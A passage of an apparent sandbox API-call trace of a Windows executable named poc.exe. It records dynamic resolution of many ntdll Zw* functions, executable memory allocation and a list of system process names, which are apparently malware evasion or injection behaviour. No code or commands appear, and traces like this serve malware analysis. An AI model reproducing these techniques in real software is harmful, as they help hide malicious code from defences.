lpLCData="M/d/yyyy") returned 9 [0091.463] GetThreadLocale () returned 0x409 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x28f7cc, cchData=256 | out: lpLCData="1") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x28f800, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0091.463] GetThreadLocale () returned 0x409 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x28f7cc, cchData=256 | out: lpLCData="1") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x28f8f8, cchData=2 | out: lpLCData=":") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x28f800, cchData=256 | out: lpLCData="AM") returned 3 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x28f800, cchData=256 | out: lpLCData="PM") returned 3 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x28f800, cchData=256 | out: lpLCData="0") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x28f800, cchData=256 | out: lpLCData="0") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x28f800, cchData=256 | out: lpLCData="0") returned 2 [0091.463] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x28f8f8, cchData=2 | out: lpLCData=",") returned 2 [0091.464] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x769d0000 [0091.464] GetProcAddress (hModule=0x769d0000, lpProcName="VariantChangeTypeEx") returned 0x769d4c28 [0091.464] GetProcAddress (hModule=0x769d0000, lpProcName="VarNeg") returned 0x76a4c802 [0091.464] GetProcAddress (hModule=0x769d0000, lpProcName="VarNot") returned 0x76a4ec66 [0091.464] GetProcAddress (hModule=0x769d0000, lpProcName="VarAdd") returned 0x769f5934 [0091.464] GetProcAddress (hModule=0x769d0000, lpProcName="VarSub") returned 0x76a4d332 [0091.464] GetProcAddress (hModule=0x769d0000, lpProcName="VarMul") returned 0x76a4dbd4 [0091.464] GetProcAddress (hModule=0x769d0000, lpProcName="VarDiv") returned 0x76a4e405 [0091.464] GetProcAddress (hModule=0x769d0000, lpProcName="VarIdiv") returned 0x76a4f00a [0091.464] GetProcAddress (hModule=0x769d0000, lpProcName="VarMod") returned 0x76a4f15e [0091.464] GetProcAddress (hModule=0x769d0000, lpProcName="VarAnd") returned 0x769f5a98 [0091.464] GetProcAddress (hModule=0x769d0000, lpProcName="VarOr") returned 0x76a4ecfa [0091.464] GetProcAddress (hModule=0x769d0000, lpProcName="VarXor") returned 0x76a4ee2e [0091.465] GetProcAddress (hModule=0x769d0000, lpProcName="VarCmp") returned 0x769eb0dc [0091.465] GetProcAddress (hModule=0x769d0000, lpProcName="VarI4FromStr") returned 0x769e6fab [0091.465] GetProcAddress (hModule=0x769d0000, lpProcName="VarR4FromStr") returned 0x769f01a0 [0091.465] GetProcAddress (hModule=0x769d0000, lpProcName="VarR8FromStr") returned 0x769e699e [0091.465] GetProcAddress (hModule=0x769d0000, lpProcName="VarDateFromStr") returned 0x769f6ba7 [0091.465] GetProcAddress (hModule=0x769d0000, lpProcName="VarCyFromStr") returned 0x76a16c12 [0091.465] GetProcAddress (hModule=0x769d0000, lpProcName="VarBoolFromStr") returned 0x769edbd1 [0091.465] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromCy") returned 0x769f7fdc [0091.465] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromDate") returned 0x769e7a2a [0091.465] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromBool") returned 0x769f0355 [0091.466] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x762c0000 [0091.466] GetProcAddress (hModule=0x762c0000, lpProcName="CoCreateInstanceEx") returned 0x76309d4e [0091.466] GetProcAddress (hModule=0x762c0000, lpProcName="CoInitializeEx") returned 0x763009ad [0091.466] GetProcAddress (hModule=0x762c0000, lpProcName="CoAddRefServerProcess") returned 0x76323cf3 [0091.466] GetProcAddress (hModule=0x762c0000, lpProcName="CoReleaseServerProcess") returned 0x76324314 [0091.466] GetProcAddress (hModule=0x762c0000, lpProcName="CoResumeClassObjects") returned 0x762cea02 [0091.466] GetProcAddress (hModule=0x762c0000, lpProcName="CoSuspendClassObjects") returned 0x7632bb02 [0091.467] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="") returned 0x9c [0091.467] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0xa0 [0091.467] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa4 [0091.467] SysReAllocStringLen (in: pbstr=0x44f454*=0x0, psz="%UserProfile FOLDER%", len=0x14 | out: pbstr=0x44f454*="%UserProfile FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f450*=0x0, psz="%SYSTEM DRIVE%", len=0xe | out: pbstr=0x44f450*="%SYSTEM DRIVE%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f44c*=0x0, psz="%Local, ApplicationData FOLDER%", len=0x1f | out: pbstr=0x44f44c*="%Local, ApplicationData FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f448*=0x0, psz="%AllUsers, ApplicationData FOLDER%", len=0x22 | out: pbstr=0x44f448*="%AllUsers, ApplicationData FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f444*=0x0, psz="%Temp FOLDER%", len=0xd | out: pbstr=0x44f444*="%Temp FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f440*=0x0, psz="%ApplicationData FOLDER%", len=0x18 | out: pbstr=0x44f440*="%ApplicationData FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f43c*=0x0, psz="%InternetCache FOLDER%", len=0x16 | out: pbstr=0x44f43c*="%InternetCache FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f438*=0x0, psz="%Cookies FOLDER%", len=0x10 | out: pbstr=0x44f438*="%Cookies FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f434*=0x0, psz="%History FOLDER%", len=0x10 | out: pbstr=0x44f434*="%History FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f430*=0x0, psz="%My Pictures FOLDER%", len=0x14 | out: pbstr=0x44f430*="%My Pictures FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f42c*=0x0, psz="%AllUsers, Documents FOLDER%", len=0x1c | out: pbstr=0x44f42c*="%AllUsers, Documents FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f428*=0x0, psz="%Program Files, Common FOLDER%", len=0x1e | out: pbstr=0x44f428*="%Program Files, Common FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f424*=0x0, psz="%Program Files FOLDER%", len=0x16 | out: pbstr=0x44f424*="%Program Files FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f420*=0x0, psz="%My Documents FOLDER%", len=0x15 | out: pbstr=0x44f420*="%My Documents FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f41c*=0x0, psz="%WINDOWS FOLDER%", len=0x10 | out: pbstr=0x44f41c*="%WINDOWS FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f418*=0x0, psz="%SYSTEM FOLDER%", len=0xf | out: pbstr=0x44f418*="%SYSTEM FOLDER%") returned 1 [0091.468] SysReAllocStringLen (in: pbstr=0x44f414*=0x0, psz="%DEFAULT FOLDER%", len=0x10 | out: pbstr=0x44f414*="%DEFAULT FOLDER%") returned 1 [0091.468] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0091.468] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x330000 [0091.469] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0091.469] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0091.469] GetProcAddress (hModule=0x77320000, lpProcName="ZwClose") returned 0x7733f9d0 [0091.469] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetInformationFile") returned 0x7733fc28 [0091.469] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryInformationFile") returned 0x7733fa00 [0091.469] GetProcAddress (hModule=0x77320000, lpProcName="ZwReadFile") returned 0x7733f8e0 [0091.469] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateFile") returned 0x773400a4 [0091.469] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenFile") returned 0x7733fd54 [0091.469] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryAttributesFile") returned 0x7733fe4c [0091.469] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateSection") returned 0x7733ff94 [0091.469] GetProcAddress (hModule=0x77320000, lpProcName="ZwMapViewOfSection") returned 0x7733fc40 [0091.469] GetProcAddress (hModule=0x77320000, lpProcName="ZwQuerySection") returned 0x77340040 [0091.469] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnmapViewOfSection") returned 0x7733fc70 [0091.469] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryFullAttributesFile") returned 0x7734132c [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwWriteFile") returned 0x7733f918 [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryObject") returned 0x7733f9e8 [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryDirectoryFile") returned 0x7733fd88 [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenSection") returned 0x7733fdb8 [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwDuplicateObject") returned 0x7733fe34 [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryVolumeInformationFile") returned 0x7733ff7c [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeleteFile") returned 0x773409d4 [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwLockFile") returned 0x77340e44 [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnlockFile") returned 0x77341ea8 [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwTerminateProcess") returned 0x7733fca0 [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenKey") returned 0x7733fa18 [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwEnumerateValueKey") returned 0x7733fa30 [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryKey") returned 0x7733fa80 [0091.470] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryValueKey") returned 0x7733fa98 [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateKey") returned 0x7733fb30 [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwEnumerateKey") returned 0x7733fd3c [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetValueKey") returned 0x773401b4 [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeleteKey") returned 0x773409ec [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeleteValueKey") returned 0x77340a34 [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwFlushKey") returned 0x77340b70 [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwLoadKey") returned 0x77340dfc [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwLoadKey2") returned 0x77340e14 [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwNotifyChangeKey") returned 0x77340f60 [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryMultipleValueKey") returned 0x7734146c [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwReplaceKey") returned 0x77341738 [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwRestoreKey") returned 0x773417d0 [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwSaveKey") returned 0x77341864 [0091.471] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetInformationKey") returned 0x77341a48 [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnloadKey") returned 0x77341e60 [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwAccessCheck") returned 0x77340218 [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwExtendSection") returned 0x77340b0c [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwFlushBuffersFile") returned 0x7733ffac [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwFsControlFile") returned 0x7733fde8 [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwNotifyChangeDirectoryFile") returned 0x77340f48 [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwQuerySecurityObject") returned 0x77341518 [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetSecurityObject") returned 0x77341b8c [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetVolumeInformationFile") returned 0x77341c8c [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenKeyEx") returned 0x77341008 [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateProcess") returned 0x77340804 [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateProcessEx") returned 0x7733ffdc [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateUserProcess") returned 0x7734090c [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwResumeThread") returned 0x77340058 [0091.472] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateThread") returned 0x7733fff4 [0091.473] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryInformationProcess") returned 0x7733fac8 [0091.473] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryVirtualMemory") returned 0x7733fbc8 [0091.473] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeviceIoControlFile") returned 0x7733f8fc [0091.473] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnmapViewOfSectionEx") returned 0x0 [0091.473] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryDirectoryFileEx") returned 0x0 [0091.473] VirtualFree (lpAddress=0x330000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0091.473] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0091.473] GetProcAddress (hModule=0x77320000, lpProcName="ZwProtectVirtualMemory") returned 0x77340028 [0091.473] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0091.473] GetProcAddress (hModule=0x77320000, lpProcName="ZwClose") returned 0x7733f9d0 [0091.473] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0091.474] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryInformationFile") returned 0x7733fa00 [0091.474] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0091.474] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetInformationFile") returned 0x7733fc28 [0091.474] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0091.474] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateFile") returned 0x773400a4 [0091.474] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0091.474] GetProcAddress (hModule=0x77320000, lpProcName="ZwWriteFile") returned 0x7733f918 [0091.474] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77320000 [0091.474] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x340000 [0091.475] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0091.475] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0091.475] GetProcAddress (hModule=0x77320000, lpProcName="ZwClose") returned 0x7733f9d0 [0091.475] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateFile") returned 0x773400a4 [0091.475] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenFile") returned 0x7733fd54 [0091.475] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateSection") returned 0x7733ff94 [0091.475] GetProcAddress (hModule=0x77320000, lpProcName="ZwMapViewOfSection") returned 0x7733fc40 [0091.475] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnmapViewOfSection") returned 0x7733fc70 [0091.475] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnmapViewOfSectionEx") returned 0x0 [0091.475] GetProcAddress (hModule=0x77320000, lpProcName="ZwReadFile") returned 0x7733f8e0 [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryInformationFile") returned 0x7733fa00 [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetInformationFile") returned 0x7733fc28 [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryAttributesFile") returned 0x7733fe4c [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwQuerySection") returned 0x77340040 [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryFullAttributesFile") returned 0x7734132c [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwWriteFile") returned 0x7733f918 [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeviceIoControlFile") returned 0x7733f8fc [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryObject") returned 0x7733f9e8 [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryDirectoryFile") returned 0x7733fd88 [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryDirectoryFileEx") returned 0x0 [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenSection") returned 0x7733fdb8 [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwDuplicateObject") returned 0x7733fe34 [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeleteFile") returned 0x773409d4 [0091.476] GetProcAddress (hModule=0x77320000, lpProcName="ZwLockFile") returned 0x77340e44 [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnlockFile") returned 0x77341ea8 [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwTerminateProcess") returned 0x7733fca0 [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryVolumeInformationFile") returned 0x7733ff7c [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetVolumeInformationFile") returned 0x77341c8c [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwAccessCheck") returned 0x77340218 [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwExtendSection") returned 0x77340b0c [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwFlushBuffersFile") returned 0x7733ffac [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwFsControlFile") returned 0x7733fde8 [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwNotifyChangeDirectoryFile") returned 0x77340f48 [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwQuerySecurityObject") returned 0x77341518 [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetSecurityObject") returned 0x77341b8c [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateProcess") returned 0x77340804 [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateProcessEx") returned 0x7733ffdc [0091.477] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateUserProcess") returned 0x7734090c [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwResumeThread") returned 0x77340058 [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateThread") returned 0x7733fff4 [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryInformationProcess") returned 0x7733fac8 [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenKey") returned 0x7733fa18 [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenKeyEx") returned 0x77341008 [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwEnumerateValueKey") returned 0x7733fa30 [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryKey") returned 0x7733fa80 [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryValueKey") returned 0x7733fa98 [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateKey") returned 0x7733fb30 [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwEnumerateKey") returned 0x7733fd3c [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetValueKey") returned 0x773401b4 [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeleteKey") returned 0x773409ec [0091.478] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeleteValueKey") returned 0x77340a34 [0091.479] GetProcAddress (hModule=0x77320000, lpProcName="ZwFlushKey") returned 0x77340b70 [0091.479] GetProcAddress (hModule=0x77320000, lpProcName="ZwLoadKey") returned 0x77340dfc [0091.479] GetProcAddress (hModule=0x77320000, lpProcName="ZwLoadKey2") returned 0x77340e14 [0091.479] GetProcAddress (hModule=0x77320000, lpProcName="ZwNotifyChangeKey") returned 0x77340f60 [0091.479] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryMultipleValueKey") returned 0x7734146c [0091.479] GetProcAddress (hModule=0x77320000, lpProcName="ZwReplaceKey") returned 0x77341738 [0091.479] GetProcAddress (hModule=0x77320000, lpProcName="ZwRestoreKey") returned 0x773417d0 [0091.479] GetProcAddress (hModule=0x77320000, lpProcName="ZwSaveKey") returned 0x77341864 [0091.479] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetInformationKey") returned 0x77341a48 [0091.479] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnloadKey") returned 0x77341e60 [0091.479] VirtualFree (lpAddress=0x340000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x450118*=0x0, psz="tcpsvcs.exe", len=0xb | out: pbstr=0x450118*="tcpsvcs.exe") returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x450114*=0x0, psz="ntvdm.exe", len=0x9 | out: pbstr=0x450114*="ntvdm.exe") returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x450110*=0x0, psz="dllhost.exe", len=0xb | out: pbstr=0x450110*="dllhost.exe") returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x45010c*=0x0, psz="replace.exe", len=0xb | out: pbstr=0x45010c*="replace.exe") returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x450108*=0x0, psz="regsvr32.exe", len=0xc | out: pbstr=0x450108*="regsvr32.exe") returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x450104*=0x0, psz="winver.exe", len=0xa | out: pbstr=0x450104*="winver.exe") returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x450100*=0x0, psz="help.exe", len=0x8 | out: pbstr=0x450100*="help.exe") returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x4500fc*=0x0, psz="find.exe", len=0x8 | out: pbstr=0x4500fc*="find.exe") returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x4500f8*=0x0, psz="compact.exe", len=0xb | out: pbstr=0x4500f8*="compact.exe") returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x4500f4*=0x0, psz="chkdsk.exe", len=0xa | out: pbstr=0x4500f4*="chkdsk.exe") returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x4500f0*=0x0, psz="attrib.exe", len=0xa | out: pbstr=0x4500f0*="attrib.exe") returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x4500ec*=0x0, psz="write.exe", len=0x9 | out: pbstr=0x4500ec*="write.exe") returned 1 [0091.480] SysReAllocStringLen (in: pbstr=0x4500e8*=0x0, psz="hh.exe", len=0x6 | out: pbstr=0x4500e8*="hh.exe") returned 1 [0091.480] QueryPerformanceCounter (in: lpPerformanceCount=0x28f964 | out: lpPerformanceCount=0x28f964*=23259044268) returned 1 [0091.481] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0091.481] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x758bec, nSize=0x104 | out: lpFilename="C:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe")) returned 0x16 [0091.481] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\poc.exe", nBufferLength=0x104, lpBuffer=0x28f708, lpFilePart=0x28f910 | out: lpBuffer="C:\\ProgramData\\poc.exe", lpFilePart=0x28f910*="poc.exe") returned 0x16 [0091.481] CharLowerBuffW (in: lpsz="C:\\ProgramData\\poc.exe", cchLength=0x16 | out: lpsz="c:\\programdata\\poc.exe") returned 0x16 [0091.481] SysReAllocStringLen (in: pbstr=0x4605e4*=0x0, psz="c:\\programdata\\poc.exe", len=0x16 | out: pbstr=0x4605e4*="c:\\programdata\\poc.exe") returned 1 [0091.481] SysReAllocStringLen (in: pbstr=0x4605e8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4605e8*="c:") returned 1 [0091.482] SysReAllocStringLen (in: pbstr=0x460608*=0x0, psz="programdata", len=0xb | out: pbstr=0x460608*="programdata") returned 1 [0091.482] SysReAllocStringLen (in: pbstr=0x460628*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x460628*="poc.exe") returned 1 [0091.482] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e5fc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata", lpUsedDefaultChar=0x0) returned 11 [0091.482] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e5fc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exedata", lpUsedDefaultChar=0x0) returned 7 [0091.482] SysReAllocStringLen (in: pbstr=0x28f690*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f690*="c:") returned 1 [0091.482] SysReAllocStringLen (in: pbstr=0x28f988*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f988*="c:\\") returned 1 [0091.482] SysReAllocStringLen (in: pbstr=0x28f688*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f688*="programdata") returned 1 [0091.482] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f6b4 | out: lpFindFileData=0x28f6b4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x758e00 [0091.483] FindNextFileW (in: hFindFile=0x758e00, lpFindFileData=0x28f6b4 | out: lpFindFileData=0x28f6b4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0091.483] GetLastError () returned 0x12 [0091.483] FindClose (in: hFindFile=0x758e00 | out: hFindFile=0x758e00) returned 1 [0091.483] SysReAllocStringLen (in: pbstr=0x28f67c*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f67c*="c:\\ProgramData") returned 1 [0091.545] SysReAllocStringLen (in: pbstr=0x28f988*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f988*="c:\\ProgramData\\") returned 1 [0091.546] SysReAllocStringLen (in: pbstr=0x28f688*="programdata", psz="poc.exe", len=0x7 | out: pbstr=0x28f688*="poc.exe") returned 1 [0091.546] FindFirstFileW (in: lpFileName="c:\\ProgramData\\poc.exe", lpFindFileData=0x28f6b4 | out: lpFindFileData=0x28f6b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x78a55620, ftCreationTime.dwHighDateTime=0x1d5ca1f, ftLastAccessTime.dwLowDateTime=0x78a55620, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x78cdcd80, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x1d5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="poc.exe", cAlternateFileName="")) returned 0x758e00 [0091.546] FileTimeToLocalFileTime (in: lpFileTime=0x28f6c8, lpLocalFileTime=0x28f634 | out: lpLocalFileTime=0x28f634) returned 1 [0091.546] FileTimeToDosDateTime (in: lpFileTime=0x28f634, lpFatDate=0x28f696, lpFatTime=0x28f694 | out: lpFatDate=0x28f696, lpFatTime=0x28f694) returned 1 [0091.546] FindClose (in: hFindFile=0x758e00 | out: hFindFile=0x758e00) returned 1 [0091.546] SysReAllocStringLen (in: pbstr=0x28f67c*="c:\\ProgramData\\", 